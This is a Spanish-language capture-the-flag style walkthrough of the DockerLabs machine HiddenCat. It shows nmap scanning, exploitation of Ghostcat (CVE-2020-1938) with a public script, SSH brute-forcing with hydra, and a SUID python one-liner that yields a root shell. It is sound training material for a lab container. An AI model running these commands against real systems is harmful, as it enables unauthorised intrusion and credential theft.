> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/hiddencat.md).

# HiddenCat

#### **Despliegue de la Máquina:**

**1. Descarga:**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **HiddenCat** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.

**2. Descompresión:**

Utilizamos `7z` para descomprimir los archivos:

```bash
7z x hiddencat.zip
```

<figure><img src="/files/PgSRW6aLakMsi87IJLaV" alt=""><figcaption></figcaption></figure>

**3. Ejecución:**

Ejecutamos el script que carga la imagen y levanta el contenedor vulnerable en Docker:

```bash
bash auto_deploy.sh hiddencat.tar
```

<figure><img src="/files/rJVv1sJAi0RwUzxgPESL" alt=""><figcaption></figcaption></figure>

***

#### **Reconocimiento:**

**1. Verificación de Conectividad:**

Realizamos un `ping` a la IP del contenedor para confirmar que responde:

```bash
ping -c 1 172.17.0.2
```

<figure><img src="/files/oXYdLRaegZD6pEdkMo5W" alt=""><figcaption></figcaption></figure>

**2. Escaneo de Puertos:**

Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:

```bash
nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Puertos abiertos detectados:**

* **Puerto 22:** `SSH`.
* **Puerto 8009:** `AJP13`.
* **Puerto 8080:** `HTTP`.

<figure><img src="/files/UHqmQ0PxN9GpuyLwDKd3" alt=""><figcaption></figcaption></figure>

**3. Escaneo Detallado:**

Analizamos los puertos encontrados con mayor profundidad:

```bash
nmap -p22,8009,8080 -sCV 172.17.0.2 -oN targeted
```

**Resultados:**

* SSH corriendo OpenSSH **7.9p1**.
* AJP habilitado (protocolo JServ 1.3).
* Apache Tomcat versión **9.0.30**.

<figure><img src="/files/DhoFJJxjN3DQFh9O1Gon" alt=""><figcaption></figcaption></figure>

***

#### **Explotación:**

**1. Verificación de Acceso Web:**

Accedemos al puerto 8080 vía navegador: `http://172.17.0.2:8080/`.

Se muestra la interfaz de Apache Tomcat con versión expuesta: **9.0.30**.

<figure><img src="/files/eASY1DnjZAfOf2Udj3PU" alt=""><figcaption></figcaption></figure>

**2. Exploración del Puerto AJP (8009):**

No ofrece contenido web directo, pero al tratarse del protocolo AJP es susceptible a la vulnerabilidad **CVE-2020-1938**, conocida como **Ghostcat**.

<figure><img src="/files/gP2axsRBgSYh5yVFhKbX" alt=""><figcaption></figcaption></figure>

**3. Explotación de Ghostcat:**

Utilizamos `git clone` para clonar el repositorio que contiene el script de explotación:

```bash
git clone https://github.com/dacade/CVE-2020-1938.git
```

<figure><img src="/files/WjwnLoQShX0dNH1wPL42" alt=""><figcaption></figcaption></figure>

Accedemos al directorio recién clonado:

```bash
cd CVE-2020-1938
```

Modificamos los permisos del archivo para que sea ejecutable:

```bash
chmod 700 tomcat.py
```

<figure><img src="/files/kTQ5patby9h7FzZTefA2" alt=""><figcaption></figcaption></figure>

Ejecutamos el exploit indicando la IP de la máquina vulnerable, el archivo objetivo (`web.xml`) y el puerto AJP:

```bash
python3 tomcat.py 172.17.0.2 -f /WEB-INF/web.xml -p 8009
```

Al ejecutar el script, accedemos a archivos internos del servidor y descubrimos información sensible, como el nombre de usuario `Jerry`.

<figure><img src="/files/QKf9AN6zSoKYORgH2DA3" alt=""><figcaption></figcaption></figure>

**4. Fuerza Bruta con Hydra:**

Realizamos un ataque de fuerza bruta contra el servicio SSH utilizando el diccionario `rockyou.txt`:

```bash
hydra -l jerry -P /usr/share/wordlists/rockyou.txt ssh://172.17.0.2
```

**Credenciales obtenidas:**

* **Usuario:** `jerry`.
* **Contraseña:** `chocolate`.

<figure><img src="/files/0ZUpuuDvr8N29LKy7Fhl" alt=""><figcaption></figcaption></figure>

**5. Acceso vía SSH:**

```bash
ssh jerry@172.17.0.2
```

<figure><img src="/files/IgmuhidDA0uFSF11ufX5" alt=""><figcaption></figcaption></figure>

***

#### **Escalada de Privilegios:**

**1. Búsqueda de Binarios SUID:**

```bash
find / -perm -4000 2>/dev/null
```

**Encontramos el binario:** `/usr/bin/python3.7`.

<figure><img src="/files/hlN0Z8TaIEGDJjmjSppy" alt=""><figcaption></figcaption></figure>

**2. Ejecutamos Python con Privilegios:**

```bash
/usr/bin/python3.7 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
```

Obtenemos una shell como `root` gracias al privilegio SUID de Python.

<figure><img src="/files/VlMknHaGBpUDfUtwb9N4" alt=""><figcaption></figcaption></figure>
